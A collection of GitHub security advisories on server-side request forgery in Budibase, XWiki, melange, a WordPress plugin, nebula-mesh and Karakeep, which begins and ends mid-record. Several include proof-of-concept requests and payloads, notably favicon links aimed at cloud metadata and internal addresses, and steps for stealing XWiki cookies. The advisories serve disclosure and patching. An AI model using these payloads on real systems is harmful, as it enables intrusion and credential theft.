(Critical): Add Default Private IP Blocklist\n\n```typescript\n// packages/backend-core/src/blacklist/blacklist.ts\n\nconst DEFAULT_BLOCKED_RANGES = [\n  \"127.0.0.0/8\",       // localhost\n  \"10.0.0.0/8\",        // RFC1918\n  \"172.16.0.0/12\",     // RFC1918\n  \"192.168.0.0/16\",    // RFC1918\n  \"169.254.0.0/16\",    // link-local / cloud metadata\n  \"0.0.0.0/8\",         // current network\n  \"::1/128\",           // IPv6 localhost\n  \"fc00::/7\",          // IPv6 private\n  \"fe80::/10\",         // IPv6 link-local\n]\n\nexport async function isBlacklisted(address: string): Promise\u003cboolean\u003e {\n  // Always check against default blocked ranges\n  // even when BLACKLIST_IPS is not configured\n  const ips = await resolveToIPs(address)\n  for (const ip of ips) {\n    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {\n      return true\n    }\n  }\n  // Then check user-configured blacklist\n  // ...existing logic...\n}\n```\n\n### Fix 2 (High): Validate Datasource URLs at Creation Time\n\n```typescript\n// packages/server/src/api/controllers/datasource.ts\n\nasync function save(ctx) {\n  const { config } = ctx.request.body.datasource\n  if (config?.url) {\n    if (await blacklist.isBlacklisted(config.url)) {\n      ctx.throw(400, \"Cannot create datasource targeting internal network\")\n    }\n  }\n  // ... existing logic\n}\n```\n\n### Fix 3 (Medium): Add DNS Rebinding Protection\n\nResolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.\n\n### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect\n\nEnsure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.",
  "id": "GHSA-7r9j-r86q-7g45",
  "modified": "2026-04-03T21:34:44Z",
  "published": "2026-04-03T21:34:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31818"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.33.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist"
}

GHSA-7RFG-6273-F5WP

Vulnerability from github – Published: 2023-11-20 21:00 – Updated: 2023-11-20 21:00
VLAI
Summary
Cookies are sent to external images in rendered diff (and server side request forgery)
Details

Impact

The rendered diff in XWiki embeds images to be able to compare the contents and not display a difference for an actually unchanged image. For this, XWiki requests all embedded images on the server side. These requests are also sent for images from other domains and include all cookies that were sent in the original request to ensure that images with restricted view right can be compared. This allows an attacker to steal login and session cookies that allow impersonating the current user who views the diff. The attack can be triggered with an image that references the rendered diff, thus making it easy to trigger.

More concretely, to reproduce, add 101 different images with references to the attacker's server. In any place add an image with a reference to /xwiki/bin/view/Image%20Cookie%20Test/?xpage=changes&rev1=1.1&rev2=2.1&include=renderedChanges where Image%20Cookie%20Test needs to be replaced by the path to the document with the images and the two revisions should match the revision before/after adding the images. Whenever a user views that image, the user's login cookies should be sent to the attacker's server. The 101 images are to circumvent the cache that has a default maximum size of 100 entries.

Apart from stealing login cookies, this also allows server-side request forgery (the result of any successful request is returned in the image's source) and viewing protected content as once a resource is cached, it is returned for all users. As only successful requests are cached, the cache will be filled by the first user who is allowed to access the resource.

Patches

This has been patched in XWiki 14.10.15, 15.5.1 and 15.6. The rendered diff now only downloads images from trusted domains. Further, cookies are only sent when the image's domain is the same the requested domain. The cache has been changed to be specific for each user.

Workarounds

As a workaround, the image embedding feature can be disabled by deleting xwiki-platform-diff-xml-<version>.jar in WEB-INF/lib/.

References

  • https://jira.xwiki.org/browse/XWIKI-20818
  • https://github.com/xwiki/xwiki-platform/commit/bff0203e739b6e3eb90af5736f04278c73c2a8bb
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-diff-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.10.1"
            },
            {
              "fixed": "14.10.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-diff-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-diff-xml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.6-rc-1"
            },
            {
              "fixed": "15.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-48240"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-20T21:00:05Z",
    "nvd_published_at": "2023-11-20T18:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nThe rendered diff in XWiki embeds images to be able to compare the contents and not display a difference for an actually unchanged image. For this, XWiki requests all embedded images on the server side. These requests are also sent for images from other domains and include all cookies that were sent in the original request to ensure that images with restricted view right can be compared. This allows an attacker to steal login and session cookies that allow impersonating the current user who views the diff. The attack can be triggered with an image that references the rendered diff, thus making it easy to trigger.\n\nMore concretely, to reproduce, add 101 different images with references to the attacker\u0027s server. In any place add an image with a reference to `/xwiki/bin/view/Image%20Cookie%20Test/?xpage=changes\u0026rev1=1.1\u0026rev2=2.1\u0026include=renderedChanges` where `Image%20Cookie%20Test` needs to be replaced by the path to the document with the images and the two revisions should match the revision before/after adding the images. Whenever a user views that image, the user\u0027s login cookies should be sent to the attacker\u0027s server. The 101 images are to circumvent the cache that has a default maximum size of 100 entries.\n\nApart from stealing login cookies, this also allows server-side request forgery (the result of any successful request is returned in the image\u0027s source) and viewing protected content as once a resource is cached, it is returned for all users. As only successful requests are cached, the cache will be filled by the first user who is allowed to access the resource.\n\n### Patches\nThis has been patched in XWiki 14.10.15, 15.5.1 and 15.6. The rendered diff now only downloads images from trusted domains. Further, cookies are only sent when the image\u0027s domain is the same the requested domain. The cache has been changed to be specific for each user.\n\n### Workarounds\nAs a workaround, the image embedding feature can be disabled by deleting `xwiki-platform-diff-xml-\u003cversion\u003e.jar` in `WEB-INF/lib/`.\n\n### References\n* https://jira.xwiki.org/browse/XWIKI-20818\n* https://github.com/xwiki/xwiki-platform/commit/bff0203e739b6e3eb90af5736f04278c73c2a8bb",
  "id": "GHSA-7rfg-6273-f5wp",
  "modified": "2023-11-20T21:00:05Z",
  "published": "2023-11-20T21:00:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7rfg-6273-f5wp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48240"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/bff0203e739b6e3eb90af5736f04278c73c2a8bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20818"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cookies are sent to external images in rendered diff (and server side request forgery)"
}

GHSA-7RP8-R62P-Q6WC

Vulnerability from github – Published: 2026-03-02 22:04 – Updated: 2026-07-07 13:10
VLAI
Summary
`melange update-cache` has unbounded HTTP download that can exhaust disk in CI
Details

melange update-cache downloads URIs from build configs via io.Copy without any size limit or HTTP client timeout (pkg/renovate/cache/cache.go). An attacker-controlled URI in a melange config can cause unbounded disk writes, exhausting disk on the build runner. Affected versions <= 0.40.5.

Fix: Merged Acknowledgements

Thank you to Oleh Konko from 1seal for discovering and reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "chainguard.dev/melange"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.43.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:04:23Z",
    "nvd_published_at": "2026-03-06T07:16:02Z",
    "severity": "MODERATE"
  },
  "details": "`melange update-cache` downloads URIs from build configs via `io.Copy` without any size limit or HTTP client timeout (`pkg/renovate/cache/cache.go`). An attacker-controlled URI in a melange config can cause unbounded disk writes, exhausting disk on the build runner. Affected versions \u003c= 0.40.5.\n\n**Fix:** Merged\n**Acknowledgements**\n\nThank you to Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting this issue.",
  "id": "GHSA-7rp8-r62p-q6wc",
  "modified": "2026-07-07T13:10:50Z",
  "published": "2026-03-02T22:04:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/melange/security/advisories/GHSA-7rp8-r62p-q6wc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/melange/pull/2379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/melange/commit/652ca5af08588f78e2d405e64b058fac8398d23f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-dev/melange"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/melange/releases/tag/v0.43.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`melange update-cache` has unbounded HTTP download that can exhaust disk in CI"
}

GHSA-7RP9-PH5M-7MH4

Vulnerability from github – Published: 2026-03-04 03:31 – Updated: 2026-03-04 03:31
VLAI
Details

The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.8 via the /ultp/v3/starter_dummy_post/ and /ultp/v3/starter_import_content/ REST API endpoints. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T02:15:53Z",
    "severity": "HIGH"
  },
  "details": "The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites \u2013 PostX plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.8 via the `/ultp/v3/starter_dummy_post/` and `/ultp/v3/starter_import_content/` REST API endpoints. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-7rp9-ph5m-7mh4",
  "modified": "2026-03-04T03:31:33Z",
  "published": "2026-03-04T03:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1273"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ultimate-post/tags/5.0.5/classes/Importer.php#L196"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ultimate-post/tags/5.0.5/classes/Importer.php#L261"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ultimate-post/trunk/classes/Importer.php#L196"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ultimate-post/trunk/classes/Importer.php#L261"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3469409%40ultimate-post\u0026new=3469409%40ultimate-post\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afe6d4ac-1712-415e-9995-cb7c8fe4e1a0?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7RX3-5WX3-5V76

Vulnerability from github – Published: 2026-07-14 20:28 – Updated: 2026-07-14 20:28
VLAI
Summary
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
Details

Summary

Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.

Details

internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.

internal/webhook/webhook.go:294-296:

client := d.guarded
if tgt.AllowPrivate {
    client = d.unguarded
}

d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.

Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).

PoC

Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.

Step 1 — create-side bypass, as the non-admin lowpriv operator:

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}

Actual response:

HTTP/1.1 201 Created

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}

201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.

Control — same non-admin key, same target, allow_private omitted (defaults false):

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request

{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}

Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.

Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:

RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

Same result holds for host.enrolled — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.

Step 3 — reachability oracle:

GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}

last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.

Impact

A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/forgekeep/nebula-mesh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T20:28:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNon-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard \u2014 letting a low-privilege operator make the server request internal addresses.\n\n### Details\n\n`internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check \u2014 only ownership is enforced (`canAccessWebhookSub`), and that\u0027s not even called on create.\n\n`internal/webhook/webhook.go:294-296`:\n```go\nclient := d.guarded\nif tgt.AllowPrivate {\n    client = d.unguarded\n}\n```\n`d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces.\n\nEvery other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception \u2014 introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).\n\n### PoC\n\nVerified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made \u2014 the \"internal service\" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) \u2014 the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.\n\n**Step 1 \u2014 create-side bypass, as the non-admin `lowpriv` operator:**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":true,\"events\":[\"host.enrolled\"]}\n```\n\nActual response:\n\n```\nHTTP/1.1 201 Created\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\",\"owner_operator_id\":\"a4ec02d3-c7ae-412d-a2ff-567d36315191\",\"url\":\"http://127.0.0.1:9999/internal-admin\",\"events\":[\"host.enrolled\"],\"active\":true,\"allow_private\":true,\"has_secret\":false,\"consecutive_failures\":0,\"created_at\":\"2026-07-01T13:38:22.637847+07:00\",\"updated_at\":\"2026-07-01T13:38:22.637847+07:00\"}\n```\n\n`201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: \"user\"`). No `403 Forbidden` \u2014 which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key.\n\n**Control \u2014 same non-admin key, same target, `allow_private` omitted (defaults false):**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":false}\n```\n\n```\nHTTP/1.1 400 Bad Request\n\n{\"error\":\"url: \\\"127.0.0.1\\\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink\"}\n```\n\nConfirms the guard is real and active for this exact target \u2014 `allow_private:true` in Step 1 is what disabled it.\n\n**Step 2 \u2014 delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns:\n\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\nBoth returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:\n\n```\nRECEIVED: /internal-admin {\"id\":\"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6\",\"type\":\"host.unblocked\",\"created_at\":\"2026-07-01T06:42:11.5305Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\nRECEIVED: /internal-admin {\"id\":\"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c\",\"type\":\"host.blocked\",\"created_at\":\"2026-07-01T06:42:11.543246Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\n```\n\nSame result holds for `host.enrolled` \u2014 any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.\n\n**Step 3 \u2014 reachability oracle:**\n\n```\nGET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\n```\nHTTP/1.1 200 OK\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\", ... ,\"last_delivery_at\":\"2026-07-01T13:42:11.544244+07:00\",\"last_status\":\"ok\",\"consecutive_failures\":0, ...}\n```\n\n`last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string \u2014 a reachability oracle over internal addresses. The dispatcher\u0027s delivery-recording path stores success/failure and error text only, never the target\u0027s response body.\n\n### Impact\n\nA non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests \u2014 conditional on target config, not guaranteed (IMDSv2\u0027s token requirement would block it).",
  "id": "GHSA-7rx3-5wx3-5v76",
  "modified": "2026-07-14T20:28:42Z",
  "published": "2026-07-14T20:28:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/forgekeep/nebula-mesh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`"
}

GHSA-7RX4-C5VX-G8W3

Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-05-14 18:26
VLAI
Summary
Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections
Details

Summary

The metascraper-logo-favicon plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's validateUrl() SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted <link rel="icon"> tag.

Details

Protected path (correct)

Karakeep implements comprehensive SSRF protections in apps/workers/network.ts (lines 12-222). The validateUrl() function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by fetchWithProxy() for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.

Unprotected path (vulnerability)

After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (apps/workers/scripts/parseHtmlSubprocess.ts). Inside this subprocess, metascraper-logo-favicon (v5.49.5) extracts favicon URLs from the HTML DOM by matching <link rel="icon"> elements and reading their href attribute.

The plugin then calls reachable-url (which wraps got) to verify each extracted URL. These HTTP requests bypass validateUrl() entirely:

// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73
metascraperLogo({
    gotOpts: {
      agent: {
        http: serverConfig.proxy.httpProxy
          ? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))
          : undefined,
        https: serverConfig.proxy.httpsProxy
          ? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))
          : undefined,
      },
    },
  }),

Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The got HTTP client makes direct requests to whatever URLs are extracted from the HTML.

Data flow

1. User creates bookmark → URL validated by validateUrl() ✓
2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓
3. HTML passed to parseHtmlSubprocess via stdin
4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML
5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗
6. Server makes HTTP GET to attacker-controlled internal URL

Comparison

The application explicitly protects the main URL fetch with validateUrl() (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.

PoC

1. Set up a malicious page on a public URL

<!-- Hosted at https://attacker.example.com/ssrf.html -->
<html>
<head>
  <title>Innocent Page</title>
  <link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">
  <link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128">
  <link rel="icon" href="http://192.168.1.1/admin" sizes="64x64">
</head>
<body><p>Normal content</p></body>
</html>

2. Create a bookmark via the API

curl -X POST http://localhost:3000/api/v1/bookmarks \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}'

3. Result

The main URL (https://attacker.example.com/ssrf.html) passes validateUrl() since it resolves to a public IP. After the HTML is fetched, metascraper-logo-favicon extracts the favicon URLs and calls reachable-url/got to verify them. The server makes HTTP GET requests to: - http://169.254.169.254/latest/meta-data/ (AWS IMDS) - http://127.0.0.1:3000/api/v1/users/whoami (localhost) - http://192.168.1.1/admin (internal network)

These requests bypass all SSRF protections.

